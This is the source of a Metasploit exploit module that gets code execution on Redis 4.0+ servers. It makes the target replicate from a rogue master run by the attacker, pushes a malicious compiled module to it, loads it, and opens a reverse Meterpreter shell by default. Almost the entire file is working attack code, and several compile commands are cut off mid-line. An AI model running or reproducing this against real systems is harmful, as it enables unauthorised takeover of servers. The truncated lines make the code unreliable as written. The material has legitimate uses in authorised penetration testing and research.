class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Redis
include Msf::Module::Deprecated
moved_from "exploit/linux/redis/redis_unauth_exec"
def initialize(info = {})
super(update_info(info,
'Name' => 'Redis Replication Code Execution',
'Description'=> %q{
This module can be used to leverage the extension functionality added since Redis 4.0.0
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
which called replication between master and slave.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Green-m<greenm.xxoo[at]gmail.com>'
],
'References' =>
[
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets'=>
[
['Automatic',{} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'SRVPORT' => '6379'
},
'Privileged' => false,
'DisclosureDate' => 'Nov 13 2018',
'DefaultTarget'=> 0,
'Notes'=>
{
'Stability' => [ SERVICE_RESOURCE_LOSS],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
},
))
register_options(
[
Opt::RPORT(6379),
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
]
)
register_advanced_options(
[
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
]
)
deregister_options('URIPATH', 'THREADS', 'SSLCert')
end
def check
connect
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
report_redis(redis_version)
end
unless redis_version
print_error('Cannot retrieve redis version, please check it manually')
return Exploit::CheckCode::Unknown
end
version = Gem::Version.new(redis_version)
if version >= Gem::Version.new('4.0.0')
vprint_status("Redis version is #{redis_version}")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
ensure
disconnect
end
def has_check?
true
end
def exploit
if check_custom
@module_init_name = datastore['RedisModuleInit']|| Rex::Text.rand_text_alpha_lower(4..8)
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
else
@module_init_name = 'shell'
@module_cmd = 'shell.exec'
end
if srvhost == '0.0.0.0'
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
end
if check_custom
buf = create_payload
generate_code_file(buf)
compile_payload
end
connect
redis_command('SLAVEOF', srvhost, srvport.to_s)
redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
::IO.select(nil, nil, nil, 2.0)
start_rogue_server
Rex.sleep(1)
redis_command('MODULE', 'LOAD', "./#{module_file}")
redis_command('SLAVEOF', 'NO', 'ONE')
print_status('Sending command to trigger payload.')
pull_the_trigger
Rex.sleep(2)
register_file_for_cleanup("./#{module_file}")
ensure
disconnect
end
def start_rogue_server
begin
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
print_status("Listening on #{srvhost}:#{srvport}")
rescue Rex::BindFailed
print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
print_status("Listening on 0.0.0.0:#{srvport}")
socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport})
end
rsock = socket.accept()
vprint_status('Accepted a connection')
while true
request = rsock.read(1024)
vprint_status("in<<< #{request.inspect}")
response = ""
finish = false
case
when request.include?('PING')
response = "+PONG\r\n"
when request.include?('REPLCONF')
response = "+OK\r\n"
when request.include?('PSYNC') || request.include?('SYNC')
response= "+FULLRESYNC #{'Z'*40} 1\r\n"
response << "$#{payload_bin.length}\r\n"
response << "#{payload_bin}\r\n"
finish = true
end
if response.length < 200
vprint_status("out>>> #{response.inspect}")
else
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
end
rsock.put(response)
if finish
print_status('Rogue server close...')
rsock.close()
socket.close()
break
end
end
end
def pull_the_trigger
if check_custom
redis_command("#{@module_cmd}")
else
execute_cmdstager
end
end
def execute_command(cmd, opts = {})
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
end
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
end
def compile_payload
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
vprint_status("Clean old files")
vprint_status(%x|make -C
vprint_status(%x|make -C
print_status('Compile redis module extension file')
res = %x|make -C
if res.include? 'true'
print_good("Payload generated successfully! ")
else
print_error(res)
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
end
end
def check_env
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
return false unless %x|command -v gcc && echo true|.include? "true"
return false unless %x|command -v ld && echo true|.include? "true"
true
end
def check_custom
return @custom_payload if @custom_payload
@custom_payload = false
@custom_payload = true if check_env && datastore['CUSTOM']
@custom_payload
end
def module_file
return @module_file if @module_file
@module_file = datastore['RedisModuleName']|| "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
end
def create_payload
p = payload.encoded
Msf::Simple::Buffer.transform(p, 'c', 'buf')
end
def payload_bin
return @payload_bin if @payload_bin
if check_custom
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
else
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp','exp.so'))
end
@payload_bin
end
end